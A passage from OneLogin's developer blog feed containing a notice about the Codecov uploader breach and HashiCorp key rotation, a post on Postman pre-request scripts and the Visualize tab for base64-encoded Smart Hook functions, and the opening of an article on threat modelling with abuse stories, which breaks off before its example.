        <content type="html" xml:base="https://developers.onelogin.com/blog/hashicorp-security-update/">&lt;h3 id=&quot;recommended-actions-update-your-terraform-and-codecov-software-asap&quot;&gt;Recommended Actions - Update your Terraform and CodeCov software ASAP&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;synopsis&quot;&gt;Synopsis&lt;&#x2F;h3&gt;
&lt;p&gt;Late last week it was brought to our attention that CodeCov suffered an attack in which attackers gained access to their bash uploader script and modified it without CodeCov’s permission. This enabled hackers to modify the script and monitor data as it was uploaded to CodeCov including secrets, that were used in the CI pipeline.&lt;&#x2F;p&gt;
&lt;p&gt;HashiCorp uses CodeCov’s uploader and as a result, their GPG signing key was exposed. This means a hacker can sign binaries on behalf of HashiCorp and there would be no way of knowing which binaries are legitimate from HashiCorp and which are tampered with.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;status&quot;&gt;Status&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;about.codecov.io&#x2F;security-update&#x2F;&quot;&gt;CodeCov&lt;&#x2F;a&gt; has taken action to remedy the situation, as has &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;discuss.hashicorp.com&#x2F;t&#x2F;hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure&#x2F;23512&quot;&gt;HashiCorp&lt;&#x2F;a&gt;. HashiCorp in particular has re-rolled their GPG signing keys and are now recommending that all HashiCorp users download the patched versions of Terraform (or any other HashiCorp software).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;is-onelogin-s-provider-affected&quot;&gt;Is OneLogin’s Provider Affected&lt;&#x2F;h3&gt;
&lt;p&gt;HashiCorp has informed us that our provider is &lt;strong&gt;NOT IMPACTED&lt;&#x2F;strong&gt;.
You are encouraged to update Terraform to have the version signed with the new GPG key.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;questions&quot;&gt;Questions?&lt;&#x2F;h3&gt;
&lt;p&gt;Feel free to reach out or get in touch with us via the Terraform provider &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&#x2F;terraform-provider-onelogin&#x2F;issues&quot;&gt;Github Repository&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;supporting-material&quot;&gt;Supporting Material&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;about.codecov.io&#x2F;security-update&#x2F;&quot;&gt;CodeCov Disclosure&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;discuss.hashicorp.com&#x2F;t&#x2F;hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure&#x2F;23512&quot;&gt;HashiCorp Disclosure&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hidden Gems in Postman You Never Knew Existed</title>
        <published>2021-04-08T00:00:00+00:00</published>
        <updated>2021-04-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/hidden-gems-postman/"/>
        <id>https://developers.onelogin.com/blog/hidden-gems-postman/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/hidden-gems-postman/">&lt;p&gt;We use Postman extensively at OneLogin, from collaborating on API design to sharing collections; it’s a great tool that many developers have come to love.
In the last 6 months, we have started to use Postman as a low code marketplace to store code examples for our Smart Hooks. Smart Hooks is a serverless extensibility offering from OneLogin that lets customers supply their own javascript functions to customize workflows within the platform. Naturally, we want to make life as easy as possible for IT Administrators, so a Postman Collection of Smart Hook examples makes a lot of sense.
On the journey to creating these collections, we discovered some Postman features that were always there, but not really talked about. Here are three features we used to make the Smart Hooks collections a success.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-pre-request-script&quot;&gt;1. Pre-Request Script&lt;&#x2F;h2&gt;
&lt;p&gt;Our Smart Hooks require customers to supply base64 encoded javascript functions that are included in the payload body. We soon realized that it wasn’t going to be a great experience if you had to build your function in a text editor, then base64 encode before adding it to your payload body, like this. (See below.)&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;pre-authentication&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;CmV4cG9ydHMuaGFuZGxlciA9IGFzeW5jIChjb250ZXh0KSA9PiB7CiAgICBjb25zb2xlLmxvZyhjb250ZXh0KTsKICAgIHJldHVybiB7CiAgICAgICAgc3VjY2VzczogdHJ1ZSwKICAgICAgICB1c2VyOiBjb250ZXh0LnVzZXIKICAgIH0KfQo=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;disabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;runtime&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;nodejs18.x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;retries&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;options&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;       &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;risk_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;       &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;location_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;       &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;mfa_device_info_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;env_vars&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;packages&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That’s when we discovered the “Pre-request Script” tab in our Postman which lets you manipulate the values of variables before the request is sent from Postman.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;postman-script.png&quot; alt=&quot;Postman Pre-request Script&quot;&gt;
Using this tab we are able to display the complete javascript Smart Hook function which makes it far easier to read and edit. We then use the pre-request script to perform the required base64 encoding and push it to an environment variable that’s represented in the payload body, like this. (See below.)&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;pre-authentication&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;{{base64Function}}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;disabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;runtime&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;nodejs18.x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;retries&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;timeout&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;options&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;       &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;risk_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;       &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;location_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;       &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;mfa_device_info_enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   }&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;env_vars&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   ]&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;packages&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As you can see, this is a massive win and a really cool Postman feature that enables a much better developer experience.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-visualize&quot;&gt;2. Visualize&lt;&#x2F;h2&gt;
&lt;p&gt;Another challenge we discovered while using Postman to manage our Smart Hooks was inspecting previously submitted javascript functions. As you might guess, since we require the functions to be submitted as base64 encoded strings, we also return them in the same format.
This makes it really painful to see what the function for a Smart Hook actually does. You have to take the encoded string, decode it, paste it in a text editor etc. It’s something that you soon get tired of doing, which is when we discovered the “Visualize” tab in the Postman response section.
The “Visualize” tab allows you to convert the API response into a human readable format. You do this via the “Tests” tab which will run when a request completes. In our case we take the API response and base64 decode it before sending it to the visualizer.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;postman-visualize.png&quot; alt=&quot;Visualize tab&quot;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;postman-ftw-tada&quot;&gt;Postman FTW 🎉&lt;&#x2F;h2&gt;
&lt;p&gt;As you can see, these two smart and relatively unknown Postman features completely transform the developer experience when managing Smart Hooks.
Since learning about these features, we now utilize the same function in some of our other Postman collections.* For example, the Visualize feature is awesome for decoding and displaying the contents of JWTs returned as part of an OpenId Connect or OAuth2 request. *
I hope you find these Postman power user tricks useful and can use them to supercharge your own collections.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>A Way to Look at Cloud Threats - from Both Sides</title>
        <published>2021-03-25T00:00:00+00:00</published>
        <updated>2021-03-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/cloud-threats/"/>
        <id>https://developers.onelogin.com/blog/cloud-threats/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/cloud-threats/">&lt;p&gt;Joni Mitchell introduced her song, “Clouds” or “Both Sides Now,” by saying:&lt;&#x2F;p&gt;
&lt;p style=&quot;margin-left: 40px&quot;&gt;This is a song that talks about sides to things. In most cases there are both sides to things and in a lot of cases there are more than just both. . . &lt;&#x2F;p&gt;
&lt;p style=&quot;margin-left: 40px&quot;&gt;
But in this song there are only two sides to things. . . &lt;&#x2F;p&gt;
&lt;p style=&quot;margin-left: 40px&quot;&gt;
What we&#x27;re taught to believe things are and what they really are. (reference) 
&lt;&#x2F;p&gt;
Looking at cloud threats from both the attacker&#x27;s side and the user&#x27;s side can be helpful in today&#x27;s development lifecycles. Development practices are enhanced by adding a twisted perspective.
## Both Sides of our Users&#x27; Stories
&lt;ul&gt;
&lt;li&gt;&quot;What we are taught to believe things are&quot; is our User Story or expected experience. These nuggets are the existing storyboard today; they are part of your software development lifecycle.
&lt;li&gt;&quot;What they really are&quot; is our Abuse Story or unexpected experience. These nuggets come from security incidents and attack analysis trenches. 
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
### Establishing Acceptance Criteria for Both Sides
Development practices include acceptance or success criteria that are used to help define the outcome for the Abuser and the User.  Example acceptance criteria for Abuser story might include:
&lt;ul&gt;
&lt;li&gt;I know I am done when the new code&#x2F;configuration&#x2F;events preventive hooks are triggered for the specific attack pattern.
&lt;li&gt;I know I am done when triggered detection completes end-to-end workflow including tickets created, notifications sent, response actions completed.
&lt;li&gt;Keep using the typical technical and business acceptance criteria normally in play.
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;br&gt;
Sounds easy, right? Here is how to break it down:
&lt;ul&gt;
&lt;li&gt;Begin by leveraging good solid frameworks used by Security Professionals. 
&lt;li&gt;Build out a backlog, resource it, prioritize it, and adjust every sprint. 
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
Whether the scope of that backlog is what an Individual Contributor is accountable for or as a team backlog or as a Portfolio of Threat Landscape Epics, the concept includes dynamic solutions and agility that keeps pace with the threat actors.
### Frameworks for this approach include:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https:&#x2F;&#x2F;attack.mitre.org&#x2F;&quot;&gt;MITRE ATT&amp;CK Framework&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; is instrumental in structuring the attack patterns in a knowable interactable taxonomy. Use tactics as &quot;Features.&quot; Most security tools are adapting to this framework for detection and response activity (D&amp;R) and correlating development efforts with coverage in place keeps the eye on what is needed.
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.scaledagileframework.com&#x2F; &quot;&gt;Leffingwell&#x27;s Scaled Agile&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; is enhanced by adding a Threat Landscape solution train to the portfolio. There are options here; the goal is to get the threat dev cycles into and prioritized with the normal dev work. The focus of the Threat Landscape solution train is continuous evolution of prevention and detection mechanisms across development platforms and software codebase. 
&lt;li&gt;&lt;strong&gt;Threat Risk Modeling&lt;&#x2F;strong&gt; methods can help the development conversations with the wider audience of dev teams. By adapting the categories of Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privileges or &lt;a href=&quot;https:&#x2F;&#x2F;securityintelligence.com&#x2F;articles&#x2F;what-is-stride-threat-modeling-anticipate-cyberattacks&#x2F;&quot;&gt;STRIDE&lt;&#x2F;a&gt; or other risk methodology; one is able to engage in consistent and repeatable discussions about attack patterns and specific threats for which we want to build better defenses. A cheat sheet of terms helps everyone out here. 
&lt;li&gt;&lt;strong&gt;Workflow Orchestration&lt;&#x2F;strong&gt; is foundational to accomplishing threat triage at scale. The ability to turn a brainstormed playbook into a visual flow of steps taken by automation is a powerful capability. Enter your Security Orchestration, Automation, and Response (SOAR) platform - not quite a framework but rather the glue that holds the frames together.
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
## An Example
Let&#x27;s examine both sides of cloud services for a single feature development cycle. Since much is published about how the Agile processes work, the focus in the example below will be on options one can use to layer in threat analysis.
